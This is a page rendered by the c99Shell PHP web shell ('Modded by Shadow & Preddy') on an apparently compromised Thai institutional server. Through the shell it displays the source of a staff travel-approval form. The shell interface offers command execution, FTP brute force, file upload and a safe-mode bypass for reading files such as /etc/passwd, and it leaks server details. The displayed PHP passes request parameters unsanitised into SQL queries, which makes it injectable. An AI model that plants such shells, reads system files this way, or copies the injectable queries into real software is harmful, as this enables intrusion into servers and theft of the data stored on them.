!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddFormA.php (23.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
        require_once( 
"../include/FunctionDB.php" );
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        if(isset(
$_REQUEST["maNo"])) $maNo iconv("UTF-8""WINDOWS-874",trim($_REQUEST["maNo"]));
        
        
/**  Personal Data **/
        
$query "SELECT * FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId LEFT JOIN position_tb ON personal_tb.PositionId = position_tb.PositionId LEFT JOIN faculty_tb ON personal_tb.Faculty_code = faculty_tb.Faculty_code WHERE Teacher_code = '".$_REQUEST["Teacher_code"]."'";
        
$result $dbObj->execQuery($query);
        
$rs1 $dbObj->fetchArray($result);    
        
        if(isset(
$_REQUEST["maNo"])){
            
/**  Training Data **/
            //$query = "SELECT * FROM training_tb LEFT JOIN formaoffice ON training_tb.Training_code = formaoffice.Training_code AND training_tb.Teacher_code = formaoffice.Teacher_code LEFT JOIN project_tb ON training_tb.Training_code = project_tb.Training_code AND training_tb.Teacher_code = project_tb.Teacher_code WHERE training_tb.maNo = '".$maNo."' LIMIT 1";
            
$query "SELECT * FROM training_tb LEFT JOIN formaoffice ON training_tb.Training_code = formaoffice.Training_code WHERE training_tb.maNo = '".$maNo."' LIMIT 1";
            
$result $dbObj->execQuery($query);
            
$rs2 $dbObj->fetchArray($result);

        }

        
/**  Personal Data(Faculty Head) **/
        
$query "SELECT * FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId LEFT JOIN position_tb ON personal_tb.PositionId = position_tb.PositionId LEFT JOIN faculty_tb ON personal_tb.Faculty_code = faculty_tb.Faculty_code WHERE personal_tb.Faculty_code = '".$rs1["Faculty_code"]."' AND TeacherId = '1'";
        
$result $dbObj->execQuery($query);
        
$rs3 $dbObj->fetchArray($result);        
        
         
/*----------*/
        
$sql "Select * From budget_year_tb ";
        
$result5 mysql_query($sql) or die("Error".mysql_error());
        
$rs5 mysql_fetch_array($result5);
        
        
/** College Data **/
        
$sql "Select * From  college Where collegeStatus ='1'";
        
$result mysql_query($sql) or die("Error".mysql_error());
        
$rs4 mysql_fetch_array($result);
        
$collegeName $rs4["collegeName"];
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script type="text/javascript" src="../js/ajaxScript.js"></script>
<script type="text/javascript" src="../js/calendarDateInput2.js"></script>
<title>ข้อมูลทั่วไปบุคลากร - เพิ่มข้อมูลการเดินทางไปราชการ</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="left" valign="top" style="padding:10px 0px 5px 10px"><fieldset><legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php">หน้าหลัก</a></font><img src="../picture/ico3.gif" width="10" height="10" align="absmiddle" border="0" /></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="FormAList.php?Teacher_code=<?=$_REQUEST["Teacher_code"];?>">ข้อมูลการขอเดินทางไปราชการ</a></font></font><img src="../picture/ico3.gif" width="10" height="10" align="absmiddle" border="0" /></font><span class="NOTE">เพิ่มข้อมูลการเดินทางไปราชการ</a></font></span></legend>
     <form id="form1" name="form1" method="post" action="InsertFormA.php">
     <table width="780" border="0" cellspacing="0" cellpadding="0">
      
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td align="center">
        <?php

        ?>
        <table width="750" cellpadding="0" cellspacing="0" border="0">
          <tr height="31">
            <td height="31" colspan="6" align="center" class="PATRON11">บันทึกข้อความ</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6">ส่วนราชการ <?=$collegeName;?></td>
          </tr>
          <tr>
            <td height="29" colspan="2" align="left" nowrap>
                ที่
                <!--<INPUT TYPE="checkbox" ID="addJoinFormA" NAME="addJoinFormA" onclick="(this.checked)?document.getElementById('maNo').readOnly=false:document.getElementById('maNo').readOnly=true; (this.checked)?document.getElementById('searchJoinFormA').style.display='':document.getElementById('searchJoinFormA').style.display='none';">
                <input name="maNo" type="text" id="maNo" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=(isset($_REQUEST["maNo"]))?$maNo:genDocNo();?>" onblur="this.readOnly=true;" size="15" readonly/>
                <img SRC="../picture/search_ico.gif" ID="searchJoinFormA" width="15" height="15" style="display:none;cursor:pointer;" onclick="document.getElementById('addJoinFormA').checked=false; location.href='AddFormA.php?Teacher_code=<?=$_REQUEST["Teacher_code"];?>&Budget_year=<?=$_REQUEST["Budget_year"];?>&maNo='+encodeURIComponent(document.getElementById('maNo').value);" title="คลิ๊กที่นี่เพื่อค้นหาข้อมูลการเดินทางไปราชการ">-->
                <input name="maNo" type="text" id="maNo" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=(isset($_REQUEST["maNo"]))?$maNo:$docNo."...";?>" size="15" readonly/>
                <img SRC="../picture/search_ico.gif" ID="searchJoinFormA" width="15" height="15" style="cursor:pointer" onclick="MM_openBrWindow('searchFormA.php?Teacher_code=<?=$_REQUEST["Teacher_code"];?>&Budget_year=<?=$_REQUEST["Budget_year"];?>','Detail','scrollbars=yes,width=820,height=480');" title="คลิ๊กที่นี่เพื่อค้นหาข้อมูลการเดินทางไปราชการ">
            </td>
            <td width="80" height="29" align="left">
                <input name="Flag" type="hidden" id="Flag" value="<?=$rs2["Flag"]?>"/>
            </td>
            <td height="29" align="left">&nbsp;</td>
            <td height="29" align="right">วันที่&nbsp;</td>
            <td height="29" width="200" align="center">
                <script>DateInput('Date', true,'DD/MM/YYYY','<?=(isset($rs2["Date"]))?ymdT2dmyE($rs2["Date"]):date("d/m/Y");?>');</script>
            </td>
          </tr>
          <tr height="29">
            <td height="29" colspan="3" align="left">
                เรื่อง&nbsp;&nbsp;ขออนุมัติเดินทางไปราชการ
                <input name="Detail" type="hidden" id="Detail" value="ขออนุมัติเดินทางไปราชการ"/>
            </td>
            <td width="35">&nbsp;</td>
            <td width="202">&nbsp;</td>
            <td width="200">&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="5" align="left">เรียน&nbsp;&nbsp;ผู้อำนวยการ&nbsp;<?=$collegeName;?></td>
            <td>&nbsp;</td>
          </tr>
          <tr height="29">
            <td width="125" height="25">&nbsp;</td>
            <td colspan="5" align="left" nowrap>
                ข้าพเจ้า<input name="Name" type="text" id="Name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed ; text-align:center" size="38"  value="<?=$rs1["prefixName"]." ".$rs1["Teacher_name"]." ".$rs1["Teacher_lastname"];?>" readonly/>
                ตำแหน่ง<input name="Name2" type="text" id="Name2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" size="38"  value="<?=$rs1["Position_name"];?>" readonly/>
            </td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left" nowrap>
                สังกัด<input name="Name3" type="text" id="Name3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" size="20"  value="<?=$rs1["Faculty_name"];?>" readonly/>
                <input name="Name4" type="text" id="Name4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" size="65" value="<?=$collegeName;?>" readonly/>สถาบันพระบรมราชชนก
            </td>
          </tr>          
          <tr height="29">
            <td height="29" colspan="6" align="left" nowrap>
                ขออนุมัติเดินทางไปราชการ เรื่อง *
                <input name="Training_name" type="text" id="Training_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" size="84" value="<?=(isset($rs2["Training_name"]))?$rs2["Training_name"]:"";?><?=(isset($rs2["Training_name"]))?"readonly":"";?>/>
            </td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left" nowrap>เดินทางโดย
              <input type="checkbox" name="Travel" value="1" <?=(trim($rs2["Travel"])=="1")?"checked":"";?>/>
โดยรถยนต์ของทางราชการ
<input type="checkbox" name="Travel1" value="2" <?=(trim($rs2["Travel1"])=="2")?"checked":"";?>/>
รถยนต์ปรับอากาศ
<input type="checkbox" name="Travel2" value="3" <?=(trim($rs2["Travel2"])=="3")?"checked":"";?>/>
รถไฟ
<input type="checkbox" name="Travel3" value="4" <?=(trim($rs2["Travel3"])=="4")?"checked":"";?>/>
เครื่องบิน
<input type="checkbox" name="Travel4" value="5" <?=(trim($rs2["Travel4"])=="5")?"checked":"";?>/>
รถยนต์ส่วนตัว
<input type="checkbox" name="Travel5" value="6" <?=(trim($rs2["Travel5"])=="6")?"checked":"";?>/>
รถรับจ้าง </td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left" nowrap>
                อ้างตามหนังสือราชการเลขที่ * 
                <input name="No_in" type="text" id="No_in" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rs2["No_in"];?>" size="15" <?=(isset($rs2["No_in"]))?"readonly":"";?>/>
                เรื่อง
                <input name="Status" type="text" id="Status" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rs2["Status"];?>" size="65" <?=(isset($rs2["Status"]))?"readonly":"";?>/>
                <input name="code" type="hidden" id="code" value="<?=$rs2["code"];?>" />
            </td>
          </tr>      
          <tr height="29">
            <td height="37" colspan="6" align="left" nowrap>
                อ้างตามแผนดำเนินการ ข้อที่ * 
                <input name="Orderlist" type="text" id="Orderlist" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" size="6"  readonly/>         
                รายละเอียด
                <input name="Project_plan" type="text" id="Project_plan" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="45" readonly />
                ปี งบประมาณ
                <input name="Year_std" type="text" id="Year_std" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" size="3"  readonly /><input name="Budget_Year" type="hidden" id="Budget_Year" value="<?=$rs2["Budget_Year"];?>"/>
                <input name="MoneyS_C" type="hidden" id="MoneyS_C" value="<?=$rs2["MoneyS_C"];?>"/>
                <input name="MoneyId" type="hidden" id="MoneyId" value="<?=$rs2["MoneyId"];?>"/>
                <img src="../picture/search.gif" width="15" height="19" border="0" align="absmiddle" onclick="MM_openBrWindow('PlanPersonShow.php?Budget_Year=<?=$rs5['Budget_year'];?>','Detail','scrollbars=yes,width=820,height=350')" title="คลิ๊กที่นี่เพื่อเลือกข้อแผนดำเนินการ" style="cursor:pointer"/>
                <input name="ProjectId" type="hidden" id="ProjectId" value="<?=$rs2["ProjectId"];?>"/></td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">                
                <table>
                    <tr>
                        <td>
                            จำนวนเงิน *
                            <input name="Budget_use" type="text" id="Budget_use" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" size="6" value="0" onclick="(document.getElementById('Orderlist').value)?this.readOnly=false:this.readOnly=true" onfocus="this.value='';" onkeypress="return NumOnly(event)" onkeyup="(this.value)?checkBudget():'';" onblur="(this.value=='')?this.value='0':this.value=addCommas(this.value)">บาท
                        </td>
                        <td align="right">วันที่</td>
                        <td align="left">
                            <script>DateInput('dateStart', true,'DD/MM/YYYY','<?=(isset($rs2["Date_start"]))?ymdT2dmyE($rs2["Date_start"]):date("d/m/Y");?>');</script>
                        </td>
                        <td align="right">ถึงวันที่</td>
                        <td align="left">
                            <script>DateInput('dateFinish', true,'DD/MM/YYYY','<?=(isset($rs2["Date_finish"]))?ymdT2dmyE($rs2["Date_finish"]):date("d/m/Y");?>');</script>
                        </td>
                        <td>
                            มีกำหนด
                            <input name="Day" type="text" id="Day" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" value="<?=$rs2['Day'];?>" size="2" maxlength="3" <?=(isset($rs2['Day']))?"readonly":"";?>/>
                            วัน
                        </td>
                    </tr>
                    <tr>
                        <td colspan="6"><span id="budgetOver"></span></td>
                    </tr>
                </table>                
            </td>
          </tr>
          <tr height="31">
            <td height="31" colspan="6">โดยขอเบิกค่าใช้จ่ายในการเดินทางไปราชการและในระหว่างการเดินทางไปราชการ
            </td>
          </tr>
          <tr height="31">
            <td height="31" colspan="6" nowrap>
                ข้าพเจ้าขอมอบหมายในหน้าที่
                <input name="assignMent" type="text" id="assignMent" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" size="20"/>
                ให้
                <input name="assignmentName" type="text" id="Name7" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" size="46"/>
                ผู้รับปฏิบัติงานแทน
            </td>
          </tr>
          <tr height="31">
            <td height="31" colspan="6"><strong>&nbsp;&nbsp;ประวัติการพัฒนาตนเอง</strong></td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">
                วัตถุประสงค์เพื่อ
                <input type="radio" name="Training_type" value="1" <?=($rs2["Training_type"]=="1")?"checked":"";?>/>การอบรม
                <input type="radio" name="Training_type" value="2" <?=($rs2["Training_type"]=="2")?"checked":"";?>/>การศึกษาดูงาน
                <input type="radio" name="Training_type" value="3" <?=($rs2["Training_type"]=="3")?"checked":"";?>/>ประชุม
                <input type="radio" name="Training_type" value="4" <?=($rs2["Training_type"]=="4")?"checked":"";?>/>สัมมนา
                <input type="radio" name="Training_type" value="5" <?=($rs2["Training_type"]=="5")?"checked":"";?>/>นิเทศงาน
                <input type="radio" name="Training_type" value="7" <?=($rs2["Training_type"]=="7")?"checked":"";?>/>
                วิทยากร                </td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left"><input name="Training_type" type="radio"<?php if (!(strcmp("$rs3[Training_type]","8"))){echo "checked";} ?>  value="8"  />
กรรมการวิชาการ/วิชาชีพ
  <input name="Training_type" type="radio" <?php if (!(strcmp("$rs3[Training_type]","9"))){echo "checked";} ?>  value="9"  />
ที่ปรึกษางานวิจัยหรือวิทยานิพนธ์
<input name="Training_type" type="radio" <?php if (!(strcmp("$rs3[Training_type]","10"))){echo "checked";} ?>  value="10"  />
ผู้ทรงคุณวุฒิ/เชี่ยวชาญตรวจเครื่องมือ
<input name="Training_type" type="radio" <?php if (!(strcmp("$rs3[Training_type]","11"))){echo "checked";} ?>  value="11"  />
อื่นๆ</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">
                ประเภทของการพัฒนา
                <input name="Training_std" type="radio" value="Y" <?=($rs2["Training_std"]=="Y")?"checked":"";?>/>พัฒนาตามสายงาน
                <input name="Training_std" type="radio" value="N" <?=($rs2["Training_std"]=="N")?"checked":"";?>/>พัฒนาตนเอง
                <input name="Training_std" type="radio" value="1" <?=($rs2["Training_std"]=="1")?"checked":"";?> />
อื่นๆ</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">
                จำนวนชั่วโมง<input name="Total_hour" type="text" id="Total_hour" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" value="<?=$rs2["Total_hour"];?>" size="4"/>
                แหล่งเงินสนับสนุน<input name="Fund_resource" type="text" id="Fund_resource" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" value="<?=$rs2["Fund_resource"];?>" size="50"/>
            </td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">
                หน่วยงานที่จัด<input name="Organiz" type="text" id="Organiz" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" value="<?=$rs2["Organiz"];?>" size="50" <?=(isset($rs2["Organiz"]))?"readonly":"";?>/>
            </td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">
                สถานที่จัด<input name="CNEU" type="text" id="CNEU" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" value="<?=$rs2["CNEU"];?>" size="50" <?=(isset($rs2["CNEU"]))?"readonly":"";?>/>
                จังหวัด
                <select name="provinceId" id="provinceId" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" <?=(isset($rs2["provinceId"]))?"disabled":"";?>>
                    <?php
                        $query 
" SELECT * FROM province";
                        
$result mysql_query($query);
                        while(
$rs4 mysql_fetch_array($result)){
                    
?>
                            <option value="<?=$rs4['provinceId'];?><?=($rs4['provinceId']==$rs2['provinceId'] )?"selected":"";?>><?=$rs4['provinceName'];?></option>
                    <?php
                         
# while
                    
?>
                </select>
            </td>
          </tr>
          <tr height="31">
            <td height="31" colspan="3" align="left">&nbsp;</td>
            <td colspan="2">&nbsp;</td>
            <td>&nbsp;</td>
          </tr>
          <tr height="31">
            <td height="31" colspan="3" align="left">&nbsp;</td>
            <td colspan="2" align="center">ลงชื่อ ........................................</td>
            <td>&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="3">&nbsp;</td>
            <td colspan="2" align="center">
                ( <?=$rs1["prefixName"]." ".$rs1["Teacher_name"]." ".$rs1["Teacher_lastname"];?> )              
                <input name="Faculty_code" type="hidden" id="Faculty_code" value="<? echo $rs1["Faculty_code"]?>"/>
            </td>
            <td>&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="3" align="left">&nbsp;</td>
            <td colspan="2" align="center">
                ตำแหน่ง<input name="Name5" type="text" id="Name5" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: none; text-align:center" size="25"  value="<?=$rs1["Position_name"];?>"/>
            </td>
            <td>&nbsp;</td>
          </tr>
          <tr height="29">
            <td colspan="5">
              <input name="Flag1" type="checkbox" id="Flag1" value="1" disabled="disabled" /> อนุญาต
              <input name="Flag1" type="checkbox" id="Flag1" value="2"  disabled="disabled" /> ไม่อนุญาต
              &nbsp;<!--<div align="right">*
                <select name="Teacher_code" id="Teacher_code" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" >
                    <?php                       
                        $query 
" SELECT * FROM personal_tb LEFT JOIN prefix ON personal_tb.prefixId = prefix.prefixId Where StatusId = '1' Or Teacher_name= 'พขร' Order By Teacher_name ASC";
                        
$result mysql_query($query);
                        while(
$rs4 mysql_fetch_array($result)){
                    
?>
                            <option value="<?=$rs4['Teacher_code'];?><?=($rs4['Teacher_code']==$rs1['Teacher_code'])?"selected":"";?>>
                            <?=$rs4['prefixName']." ".$rs4['Teacher_name']." ".$rs4['Teacher_lastname'];?>
                            </option>
                    <?php
                        
# while
                    
?>
                </select></div>-->
              </td>
            </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">ลงชื่อ.................................หัวหน้าภาค/ฝ่าย/หน่วย</td>
            </tr>
          <tr height="29">
            <td height="29" colspan="3" align="center">
                ( <?=$rs3['prefixName']." ".$rs3['Teacher_name']." ".$rs3['Teacher_lastname'];?> )
                <input name="TeacherId" type="hidden" id="TeacherId" value="<?=$rs3["TeacherId"]?>"/>
            </td>
            <td align="left">&nbsp;</td>
            <td align="left">&nbsp;</td>
            <td align="left">&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="3" align="center">
                ตำแหน่ง<input name="Name6" type="text" id="Name6" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: none; text-align:center" size="25"  value="<?=$rs3["Position_name"];?>"/>
            </td>
            <td align="left">&nbsp;</td>
            <td colspan="2" align="left">&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="28" colspan="2" align="left">&nbsp;</td>
            <td align="left">&nbsp;</td>
            <td colspan="2" align="left">&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="28" colspan="2" align="left">&nbsp;</td>
            <td align="left">&nbsp;</td>
            <td colspan="2" align="center">ลงชื่อ.............................................</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="2" align="left">&nbsp;</td>
            <td align="left">&nbsp;</td>
            <td colspan="2" align="center"> วันที่........เดือน.............พ.ศ........</td>
          </tr>
        </table>
        </td>
      </tr>
      <tr>
        <td align="center">&nbsp;<BR><BR></td>
      </tr>
      <tr>
        <td align="center">
            <input type="hidden" name="codeId" value="<?=$_REQUEST["codeId"];?>"/>
            <input type="hidden" name="Teacher_code" value="<?=$_REQUEST["Teacher_code"];?>"/>
            <input type="hidden" name="Training_code" value="<?=$_REQUEST["Training_code"];?>"/>
            <span id="submitBtn">
                <input type="submit" name="Submit" value="บันทึก" style="cursor:pointer" class="WIDTH60 CURSOR-HAND" disabled/>
            </span>
            &nbsp;
            <input type="reset" name="Reset" value="รีเซ็ต" style="cursor:pointer" class="WIDTH60 CURSOR-HAND"/>
            &nbsp;
            <input type="button" name="Button" value="ยกเลิก" style="cursor:pointer" class="WIDTH60 CURSOR-HAND" onclick="location.href='PlanList.php?Teacher_code=<?=$_REQUEST["Teacher_code"];?>'"/>
        </td>
      </tr>      
    </table>
    </form>
   </fieldset>
   </td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0144 ]--